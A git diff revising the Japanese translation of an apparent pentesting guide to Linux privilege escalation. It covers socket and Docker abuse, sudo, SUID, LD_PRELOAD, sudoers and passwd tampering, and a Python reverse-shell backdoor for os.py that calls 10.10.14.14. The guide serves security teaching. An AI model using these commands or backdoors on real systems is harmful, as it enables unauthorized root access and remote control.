**受信トラフィック**で**アクティブ化**する**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービス(サフィックスが置き換えられたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。 ### 書き込み可能な.socketファイル -**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**できます。そうすると、ソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動されるまで待つ必要があります。**\ +**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に次のようなものを**追加**できます:`ExecStartPre=/home/kali/sys/backdoor`、これによりソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動されるまで待つ必要があります。**\ &#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### 書き込み可能なソケット -**書き込み可能なソケット**を**特定した場合**(_今はUnixソケットについて話しており、構成`.socket`ファイルについてではありません_)、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。 +**書き込み可能なソケットを特定した場合**(_今はUnixソケットについて話しており、構成`.socket`ファイルについてではありません_)、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。 ### Unixソケットの列挙 ```bash @@ -489,9 +489,9 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ### 書き込み可能なDockerソケット -Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段を以下に示します。 +Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替方法を以下に示します。 -#### **Docker CLIを使用した特権昇格** +#### **Docker CLIによる特権昇格** Dockerソケットへの書き込みアクセスがある場合、次のコマンドを使用して特権を昇格させることができます: ```bash @@ -536,7 +536,7 @@ Upgrade: tcp ### その他 -**`docker`グループの中にいるために、dockerソケットに対する書き込み権限がある場合、** [**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/#docker-group)。もし[**docker APIがポートでリスニングしている場合、妥協することも可能です**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +**`docker`グループの中にいるために、dockerソケットに対する書き込み権限がある場合、** [**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/#docker-group)。もし[**docker APIがポートでリスニングしている場合、あなたはそれを妥協することもできるかもしれません**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 **dockerから抜け出す方法やそれを悪用して特権を昇格させる方法については、以下を確認してください:** @@ -546,7 +546,7 @@ docker-security/ ## Containerd (ctr) 特権昇格 -**`ctr`**コマンドを使用できる場合は、**特権を昇格させるために悪用できる可能性があるため、以下のページを読んでください**: +**`ctr`**コマンドを使用できる場合は、**特権を昇格させるために悪用できるかもしれないので、以下のページを読んでください**: {{#ref}} containerd-ctr-privilege-escalation.md @@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** 特権昇格 -**`runc`**コマンドを使用できる場合は、**特権を昇格させるために悪用できる可能性があるため、以下のページを読んでください**: +**`runc`**コマンドを使用できる場合は、**特権を昇格させるために悪用できるかもしれないので、以下のページを読んでください**: {{#ref}} runc-privilege-escalation.md @@ -566,11 +566,11 @@ D-Busは、アプリケーションが効率的に相互作用し、データを このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザーエクスペリエンスを向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。 -D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。 +D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの累積的な効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。 `/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に記載されています。 -指定されたユーザーやグループのないポリシーは普遍的に適用され、「デフォルト」コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。 +指定されたユーザーやグループがないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。 ```xml @@ -629,7 +629,7 @@ timeout 1 tcpdump ### 一般的な列挙 -**自分**が誰で、どの**権限**を持っているか、システムにどの**ユーザー**がいるか、どのユーザーが**ログイン**でき、どのユーザーが**root権限**を持っているかを確認します。 +**who**で自分が誰であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どのユーザーが**login**でき、どのユーザーが**root privileges**を持っているかを確認します。 ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -653,12 +653,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -一部のLinuxバージョンは、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグの影響を受けました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) および [here](https://twitter.com/paragonsec/status/1071152249529884674)。\ -**これを悪用する**には: **`systemd-run -t /bin/bash`** +一部のLinuxバージョンは、**UID > INT_MAX**のユーザーが特権を昇格させることを可能にするバグの影響を受けました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) と [here](https://twitter.com/paragonsec/status/1071152249529884674)。\ +**これを利用する**には: **`systemd-run -t /bin/bash`** ### Groups -あなたが**root特権を付与する可能性のあるグループのメンバーであるか**確認してください: +ルート特権を付与する可能性のある**グループのメンバー**であるか確認してください: {{#ref}} interesting-groups-linux-pe/ @@ -681,24 +681,24 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### 知っているパスワード +### 知られているパスワード -環境の**パスワードを知っている場合**は、**各ユーザーとしてログインを試みてください**。 +もしあなたが**環境のパスワードを知っている場合**、そのパスワードを使って**各ユーザーとしてログインを試みてください**。 ### Su Brute -多くのノイズを出すことを気にしない場合、`su`および`timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\ +多くのノイズを出すことを気にしないのであれば、`su`と`timeout`バイナリがコンピュータに存在する場合、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)の`-a`パラメータもユーザーをブルートフォースしようとします。 ## 書き込み可能なPATHの悪用 ### $PATH -もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー(理想的にはroot)によって実行されるコマンドの名前であり、$PATH内のあなたの書き込み可能なフォルダよりも前に位置するフォルダから**読み込まれない**ものである必要があります。 +もしあなたが**$PATHのいくつかのフォルダー内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダー内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー(理想的にはroot)によって実行されるコマンドの名前であり、$PATH内のあなたの書き込み可能なフォルダーよりも前に位置するフォルダーから**読み込まれない**ものでなければなりません。 ### SUDOとSUID -sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。それを確認するには、次のコマンドを使用してください: +sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。それを確認するには: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -714,13 +714,13 @@ less>! ``` ### NOPASSWD -Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの権限でいくつかのコマンドを実行できる場合があります。 +Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -この例では、ユーザー `demo` は `root` として `vim` を実行できます。これにより、ルートディレクトリに ssh キーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。 +この例では、ユーザー `demo` は `root` として `vim` を実行できます。これにより、ルートディレクトリにsshキーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。 ``` sudo vim -c '!sh' ``` @@ -748,7 +748,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -ワイルドカード(*)が使用されると、さらに簡単になります: +ワイルドカード(\*)が使用されると、さらに簡単になります: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files @@ -763,9 +763,9 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合にも使用できます(常に** _**strings**_ **で奇妙な SUID バイナリの内容を確認してください)**。 +この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合にも使用できます(常に** _**strings**_ **を使って奇妙な SUID バイナリの内容を確認してください)**。 -[実行するペイロードの例。](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) ### コマンドパスを持つ SUID バイナリ @@ -780,12 +780,12 @@ export -f /usr/sbin/service ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ(`libc.so`)を含む前に読み込まれる1つ以上の共有ライブラリ(.soファイル)を指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。 +**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ(`libc.so`を含む)よりも前にロードされる1つ以上の共有ライブラリ(.soファイル)を指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。 しかし、システムのセキュリティを維持し、この機能が特に**suid/sgid**実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します: - ローダーは、実ユーザーID(_ruid_)が有効ユーザーID(_euid_)と一致しない実行可能ファイルに対して**LD_PRELOAD**を無視します。 -- suid/sgidを持つ実行可能ファイルの場合、標準パスにあり、かつsuid/sgidであるライブラリのみがプリロードされます。 +- suid/sgidの実行可能ファイルに対しては、標準パスにあり、かつsuid/sgidであるライブラリのみがプリロードされます。 特権昇格は、`sudo`でコマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行される際にも認識されるため、特権のある状態で任意のコードが実行される可能性があります。 ``` @@ -842,7 +842,7 @@ strace 2>&1 | grep -i -E "open|access|no such file" ``` 例えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファイルやディレクトリはありません)”_ のようなエラーに遭遇することは、悪用の可能性を示唆しています。 -これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、次のコードを含めます: +これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、次のコードを含めます: ```c #include #include @@ -853,7 +853,7 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコードは、コンパイルして実行すると、ファイルの権限を操作し、昇格した権限でシェルを実行することを目的としています。 +このコードは、コンパイルして実行すると、ファイルの権限を操作し、昇格した権限でシェルを実行することによって特権を昇格させることを目的としています。 上記のCファイルを共有オブジェクト(.so)ファイルにコンパイルするには: ```bash @@ -894,7 +894,7 @@ system("/bin/bash -p"); [**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。 -このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、他のポストエクスプロイトタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。 +このプロジェクトは、制限されたシェルから抜け出したり、特権を昇格または維持したり、ファイルを転送したり、バインドシェルやリバースシェルを生成したり、他のポストエクスプロイトタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -911,26 +911,26 @@ system("/bin/bash -p"); ### Sudoトークンの再利用 -**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることで特権を昇格できます**。 +**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることによって特権を昇格させる**ことができます。 -特権を昇格するための要件: +特権を昇格させるための要件: -- あなたはすでにユーザー "_sampleuser_" としてシェルを持っています -- "_sampleuser_" は**過去15分間に `sudo`** を使用して何かを実行しています(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です) -- `cat /proc/sys/kernel/yama/ptrace_scope` は 0 です -- `gdb` にアクセス可能です(アップロードできる必要があります) +- "_sampleuser_" としてシェルを持っている +- "_sampleuser_" が**最後の15分間**に**`sudo`**を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です) +- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である +- `gdb` にアクセス可能である(アップロードできる必要があります) (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` で一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を永続的に変更して `kernel.yama.ptrace_scope = 0` を設定できます) -これらの要件がすべて満たされている場合、**次の方法で特権を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +これらの要件がすべて満たされている場合、**次の方法で特権を昇格させることができます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにできます**(自動的にルートシェルは取得できませんので、`sudo su` を実行してください): +- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにする**ことができます(自動的にルートシェルは取得できませんので、`sudo su` を実行してください): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **二番目のエクスプロイト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持つ root 所有の sh シェルを作成します** +- **二番目のエクスプロイト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持つ root 所有の sh シェル** を作成します。 ```bash bash exploit_v2.sh /tmp/sh -p @@ -950,12 +950,12 @@ sudo su ### /etc/sudoers, /etc/sudoers.d ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\ -**もし**このファイルを**読む**ことができれば、**興味深い情報を取得できる**可能性があります。また、**任意のファイルに書き込む**ことができれば、**特権を昇格させる**ことができます。 +**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる** かもしれません。そして、もしあなたが **任意のファイルに書き込む** ことができれば、**特権を昇格させる** ことができるでしょう。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -書き込みができれば、この権限を悪用できます。 +この権限を悪用することができるのは、書き込みができる場合です。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -975,9 +975,9 @@ permit nopass demo as root cmd vim ``` ### Sudo Hijacking -もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。そして、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなど)ので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。 +もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。次に、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなど)ので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。 -ユーザーが異なるシェル(bashではない)を使用している場合は、新しいパスを追加するために他のファイルを修正する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を修正します。別の例は、[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。 +ユーザーが異なるシェル(bash以外)を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を変更します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。 または、次のようなコマンドを実行します: ```bash @@ -1002,8 +1002,8 @@ sudo ls これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ** が **検索** されることになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**。 -何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれか: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダに対して、特権を昇格させることができるかもしれません。\ -次のページで **この誤設定を悪用する方法** を確認してください: +何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダに対して、特権を昇格させることができるかもしれません。\ +この誤設定を **どのように悪用するか** を次のページで確認してください: {{#ref}} ld.so.conf-example.md @@ -1020,7 +1020,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`/var/tmp/flag15/`にlibをコピーすることで、`RPATH`変数で指定されたこの場所でプログラムによって使用されます。 +`lib`を`/var/tmp/flag15/`にコピーすることで、`RPATH`変数で指定されたこの場所でプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1042,25 +1042,25 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## 機能 +## Capabilities -Linuxの能力は、プロセスに対して**利用可能なルート特権のサブセット**を提供します。これにより、ルートの**特権をより小さく、独自の単位に分割**します。これらの単位は、プロセスに独立して付与できます。この方法で、特権の完全なセットが削減され、悪用のリスクが低下します。\ -能力とそれを悪用する方法について**詳しく学ぶ**には、次のページをお読みください: +Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、独特な単位に分割されます**。これらの単位は、プロセスに独立して付与することができます。この方法で、権限の完全なセットが減少し、悪用のリスクが低下します。\ +以下のページを読んで、**capabilitiesについて学び、どのように悪用するかを理解してください**: {{#ref}} linux-capabilities.md {{#endref}} -## ディレクトリの権限 +## Directory permissions -ディレクトリ内で、**"実行"**のビットは、影響を受けるユーザーがフォルダに**"cd"**できることを示します。\ -**"読み取り"**ビットは、ユーザーが**ファイル**を**リスト**できることを示し、**"書き込み"**ビットは、ユーザーが**ファイル**を**削除**および**新しいファイルを作成**できることを示します。 +ディレクトリ内で、**"execute"のビット**は、影響を受けるユーザーがフォルダに**"cd"**できることを示します。\ +**"read"**ビットは、ユーザーが**ファイルをリスト**できることを示し、**"write"**ビットは、ユーザーが**ファイルを削除**および**新しいファイルを作成**できることを示します。 ## ACLs -アクセス制御リスト(ACL)は、従来のugo/rwx権限を**上書きすることができる**裁量権限の二次層を表します。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細については[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)をご覧ください。 +アクセス制御リスト(ACL)は、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。 -**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与える**: +**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を付与します**: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1120,7 +1120,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 2006年9月から2008年5月13日までの間にDebianベースのシステム(Ubuntu、Kubuntuなど)で生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\ -このバグは、これらのOSで新しいsshキーを作成する際に発生し、**可能な変種は32,768通りのみでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +このバグは、これらのOSで新しいsshキーを作成する際に発生し、**32,768のバリエーションしか可能ではありませんでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSHの興味深い設定値 @@ -1147,19 +1147,19 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -SSH エージェントフォワーディングを使用すると、**サーバーにキーを置かずに**(パスフレーズなしで!)**ローカルの SSH キーを使用する**ことができます。これにより、ssh **を介してホストに** **ジャンプ**し、そこから **別の** ホストに **ジャンプ** **することができ**、**初期ホスト**にある **キー**を使用できます。 +SSH エージェントフォワーディングを使用すると、**サーバーにキーを置かずに**(パスフレーズなしで!)**ローカルの SSH キーを使用する**ことができます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプする**ことができ、**初期ホスト**にある **キー**を使用します。 このオプションを `$HOME/.ssh.config` に次のように設定する必要があります: ``` Host example.com ForwardAgent yes ``` -`Host`が`*`の場合、ユーザーが別のマシンにジャンプするたびに、そのホストはキーにアクセスできるようになります(これはセキュリティの問題です)。 +`Host`が`*`の場合、ユーザーが異なるマシンにジャンプするたびに、そのホストはキーにアクセスできるようになります(これはセキュリティの問題です)。 ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否することができます。\ -ファイル`/etc/sshd_config`はキーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**することができます(デフォルトはallowです)。 +ファイル`/etc/sshd_config`は`AllowAgentForwarding`というキーワードを使用してssh-agentフォワーディングを**allow**または**denied**することができます(デフォルトはallowです)。 -Forward Agentが環境で設定されている場合、次のページを読んでください。**特権を昇格させるために悪用できるかもしれません**: +Forward Agentが環境で設定されている場合、次のページを読むことをお勧めします。**権限を昇格させるために悪用できる可能性があります**: {{#ref}} ssh-forward-agent-exploitation.md @@ -1169,7 +1169,7 @@ ssh-forward-agent-exploitation.md ### プロファイルファイル -ファイル`/etc/profile`および`/etc/profile.d/`内のファイルは、**ユーザーが新しいシェルを実行するときに実行されるスクリプトです**。したがって、これらのいずれかを**書き込むまたは変更することができれば、特権を昇格させることができます**。 +ファイル`/etc/profile`および`/etc/profile.d/`内のファイルは、**ユーザーが新しいシェルを実行するときに実行されるスクリプトです**。したがって、これらのいずれかを**書き込むまたは変更することができれば、権限を昇格させることができます**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` @@ -1177,7 +1177,7 @@ ls -l /etc/profile /etc/profile.d/ ### Passwd/Shadowファイル -OSによっては、`/etc/passwd`および`/etc/shadow`ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるかどうか**を確認して、ファイル内に**ハッシュがあるかどうか**を確認してください。 +OSによっては、`/etc/passwd`および`/etc/shadow`ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるかどうか**を確認して、**ファイル内にハッシュがあるかどうか**を確認してください: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1204,7 +1204,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash これで `hacker:hacker` で `su` コマンドを使用できます。 -または、次の行を使用してパスワードなしのダミーユーザーを追加できます。\ +また、パスワードなしのダミーユーザーを追加するには、次の行を使用できます。\ 警告: 現在のマシンのセキュリティが低下する可能性があります。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd @@ -1282,7 +1282,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### パスワードを含む既知のファイル -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\ +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは、**パスワードを含む可能性のあるいくつかのファイルを検索します**。\ **もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。 ### ログ @@ -1293,7 +1293,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -**ログを読むために、グループ** [**adm**](interesting-groups-linux-pe/#adm-group) **は非常に役立ちます。** +ログを**読むためにグループ** [**adm**](interesting-groups-linux-pe/#adm-group) は非常に役立ちます。 ### シェルファイル ```bash @@ -1309,7 +1309,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ### 一般的なクレデンシャル検索/正規表現 ファイル名や内容に「**password**」という単語が含まれているファイルをチェックし、ログ内のIPやメール、またはハッシュの正規表現も確認する必要があります。\ -これをすべて行う方法をここにリストするつもりはありませんが、興味がある場合は、[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを確認できます。 +これらすべての方法をここにリストするつもりはありませんが、興味がある場合は、[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを確認できます。 ## 書き込み可能なファイル @@ -1317,16 +1317,16 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null Pythonスクリプトが実行される**場所**を知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができます(Pythonスクリプトが実行される場所に書き込める場合は、os.pyライブラリをコピーして貼り付けます)。 -ライブラリを**バックドア化する**には、os.pyライブラリの最後に次の行を追加します(IPとポートを変更してください): +ライブラリを**バックドア化する**には、os.pyライブラリの最後に次の行を追加します(IPとPORTを変更してください): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotateの悪用 